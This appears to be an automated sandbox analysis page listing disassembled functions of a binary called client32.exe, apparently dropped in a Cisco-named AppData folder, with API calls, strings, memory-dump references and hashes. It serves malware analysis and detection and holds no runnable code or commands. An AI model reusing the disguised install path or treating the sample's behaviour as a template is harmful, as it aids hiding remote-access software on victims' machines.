Instruction ID: f4d72408498c597f28c5e98b0793ceec49d4e0105455f2fa7991f5df7ed328ba
Opcode Fuzzy Hash: 49af2756ad7c3f08683f706b839dd21a2f02366802de171c0ecb246177683335
Instruction Fuzzy Hash: 54210E71A003189BEB28DF14C9657EDB7B9EF88305F4081EAA80A97281DB745F94DF90

Function 11140290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,111404E3,?), ref: 1114029C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Cisco\client32.exe,00000104,?,111404E3,?), ref: 111402B9

Strings

C:\Users\user\AppData\Roaming\Cisco\client32.exe, xrefs: 111402A4, 111402B2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Roaming\Cisco\client32.exe
API String ID: 2251294070-2238769931
Opcode ID: 4ac27037acda0d8a9245f2952244d97613c2a95504e0481259921610bf2da8af
Instruction ID: f66355bd66e631ef02f67cdace41a374b72edc36f1231e7adb2d1e88445570b8
Opcode Fuzzy Hash: 4ac27037acda0d8a9245f2952244d97613c2a95504e0481259921610bf2da8af
Instruction Fuzzy Hash: E011C8707052125FE706DFA6C980B6AFBE5AB84B58F20403CD919C7685DB72D841C791

Function 110151B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000), ref: 110151C7
CloseHandle.KERNEL32(00000000), ref: 110151D8

Strings

\\.\NSWFPDrv, xrefs: 110151C2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction ID: 037b8784f9df01d9315ef50b2b73ebd220fb6a4ab94c0d71800f6b4bfbf8c5f7
Opcode Fuzzy Hash: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction Fuzzy Hash: AAD0C971A410347AE23119AAAC4CFCBBD1DDB427B6F310360BA2DE51C4C210485182F1

Function 111585E0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 11158603

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 23d5f42d6a3852595486ea23c8d01e7d0c72e305ebd70d8d3172a527bf914a29
Instruction ID: 5870c534f1e9cad6bc1b8df2b52652ede84eef16f18a371c225005308c6cd6aa
Opcode Fuzzy Hash: 23d5f42d6a3852595486ea23c8d01e7d0c72e305ebd70d8d3172a527bf914a29
Instruction Fuzzy Hash: 81519F35600206AFDB90CF59CC80FAABBA5EF8A354F108459ED29DB354D730EA11CBA0

Function 68598FB0 Relevance: 4.6, APIs: 3, Instructions: 57networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 68598FE4
getsockname.WSOCK32(?,?,00000010,?,02D32E90,?), ref: 68599005
WSAGetLastError.WSOCK32(?,?,00000010,?,02D32E90,?), ref: 6859902E

Part of subcall function 68595840: inet_ntoa.WSOCK32(00000080,?,00000000,?,68598F91,00000000,00000000,685DB8DA,?,00000080), ref: 68595852

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast_memsetgetsocknameinet_ntoa
String ID:
API String ID: 3066294524-0
Opcode ID: 61aebbcc04ae2f383672ccbbd03f57b609d181a6114ae28e5313f42125617709
Instruction ID: b2f72d1da823fcf21a5055cfacb7210fa2dd74d042b233ef0eeefe23358ff26e
Opcode Fuzzy Hash: 61aebbcc04ae2f383672ccbbd03f57b609d181a6114ae28e5313f42125617709
Instruction Fuzzy Hash: A4113076E00108AFCB40DFA9DC11AFFB7B8EF89214F41456AEC05E7240E770AE148B95

Function 1110E3C0 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110E3EA
__wsplitpath.LIBCMT ref: 1110E405
GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1110E439

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__wsplitpath
String ID:
API String ID: 395646034-0
Opcode ID: 8bdb95155aadf7a1a8a08a2ae4519351e4b94d46eda9f59a1fcd9cf5ab2cfcd5
Instruction ID: 49ee09b274793d3f37b85f9af0a235e2207b6666fb7fe841f2bc02eb00c982ac
Opcode Fuzzy Hash: 8bdb95155aadf7a1a8a08a2ae4519351e4b94d46eda9f59a1fcd9cf5ab2cfcd5
Instruction Fuzzy Hash: 5911A135A4021DABEB14CB94CC42FEDF378AB48B04F1040D5E724AB1C0E7B02A08CB65

Function 1109DCF0 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F58B4,00000001,1113DE08,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DD11
OpenProcessToken.ADVAPI32(00000000,?,?,110F58B4,00000001,1113DE08,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DD18

Part of subcall function 1109DC20: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,74DEF550,?,00000000), ref: 1109DC58
Part of subcall function 1109DC20: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109DC74
Part of subcall function 1109DC20: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,004815C8,004815C8,004815C8,004815C8,004815C8,004815C8,004815C8,111EAB1C,?,00000001,00000001), ref: 1109DCA0
Part of subcall function 1109DC20: EqualSid.ADVAPI32(?,004815C8,?,00000001,00000001), ref: 1109DCB3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000002,00000000), ref: 1109DD37

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 5599503d8057efe2b11c68c721220681cdfceea4edd7362af18e40f0ab2af1e3
Instruction ID: c89a6c7b331b2a9e52fe7b246e4b03132f6c449d5caf40a75acaa97b60e2562d
Opcode Fuzzy Hash: 5599503d8057efe2b11c68c721220681cdfceea4edd7362af18e40f0ab2af1e3
Instruction Fuzzy Hash: 71F08CB5E42319EFC705DFE5D8849AEFBB8AF09308750847DEA1AC3204D631DA009F61

Function 1110C6B0 Relevance: 3.8, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111EC8B8,DC70C1FE,?,?,?,?,?,Function_001813A8,000000FF,?,1110C788,00000001), ref: 1110C6E4
EnterCriticalSection.KERNEL32(111EC8B8,DC70C1FE,?,?,?,?,?,Function_001813A8,000000FF,?,1110C788,00000001), ref: 1110C700
LeaveCriticalSection.KERNEL32(111EC8B8,?,?,?,?,?,Function_001813A8,000000FF,?,1110C788,00000001), ref: 1110C748

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 279ca6b2fbad6da154957958487355d6979f801056aa7a655149738043ae789f
Instruction ID: 5cbfd62ab707a984bc8f9840cb1ce5c13d1e9dd1c8f4cb6af8017bccb6afb893
Opcode Fuzzy Hash: 279ca6b2fbad6da154957958487355d6979f801056aa7a655149738043ae789f
Instruction Fuzzy Hash: DC117375A01B25AFE7029F89CE88F9EFBE8EB45624F40416AF911A3740D73498008B91

Function 11067F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11068012

Strings

??CTL32.DLL, xrefs: 11067FD3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: 615eeb59653b4affda5163e153b258362ea43afe93827aa1a1d90bc76bfb298e
Instruction ID: 32b9202a4fc65b1dacbe7aa8c831b48159e18a8703659cb8720647e729342126
Opcode Fuzzy Hash: 615eeb59653b4affda5163e153b258362ea43afe93827aa1a1d90bc76bfb298e
Instruction Fuzzy Hash: C431D371A04655DFE711CF59DC40F5AF7E8FB45724F0086BAE9199B380E731A900CB91

Function 110267B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 110267DD

Strings

?:\, xrefs: 110267D2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: 3e7060872956c1bafd9786653a908f37795ae8ab637c2db7226b6dae11d93418
Instruction ID: 38449473f5ed5767ddcbcf892a2d2af3f0dceeb725c671958e56149c4f091727
Opcode Fuzzy Hash: 3e7060872956c1bafd9786653a908f37795ae8ab637c2db7226b6dae11d93418
Instruction Fuzzy Hash: 6DF0B460C043D63AEB22CE60A84459ABFD85F062A8F54C8DEDCDC46941E1B6E188C791

Function 110EAED0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110EAE90: RegCloseKey.KERNEL32(?,?,?,110EAEDD,?,?,?,?,110EB538,?,?,00020019,DC70C1FE), ref: 110EAE9D

RegOpenKeyExA.KERNEL32(?,?,00000000,?,?,?,?,?,?,110EB538,?,?,00020019,DC70C1FE), ref: 110EAEEC

Part of subcall function 110EAC60: wvsprintfA.USER32(?,?,?), ref: 110EAC8B

Strings

Error %d Opening regkey %s, xrefs: 110EAEFA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: fe18bb417581625d487c97c6e7485a2c419efe2bbd817503b18d99af0a973be5
Instruction ID: 09eb28a66f6e9341cb3e48657c7c8114af41280c10e95afb1c39da68eab11178
Opcode Fuzzy Hash: fe18bb417581625d487c97c6e7485a2c419efe2bbd817503b18d99af0a973be5
Instruction Fuzzy Hash: BFE092BA701319BFD210D65A9C88FABBB5DDBC96A4F014025FA0897341D971EC4082B0

Function 1110C4A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 1110C4D2

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\ctl32\Refcount.cpp, xrefs: 1110C4BC

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 4120431230-2363596943
Opcode ID: d8041255f93a8345f9b62beb2eddcaed32c23befa151cf94580cd38d65058d7b
Instruction ID: fb683ad4537a29421ebad94ea8a5926084d263391e6db2c8366a4dac22183ed0
Opcode Fuzzy Hash: d8041255f93a8345f9b62beb2eddcaed32c23befa151cf94580cd38d65058d7b
Instruction Fuzzy Hash: D4E08C3BE4013932C1A1248A7C42FABFA5C4B92AA8F050021FD18A6211A545660181E6

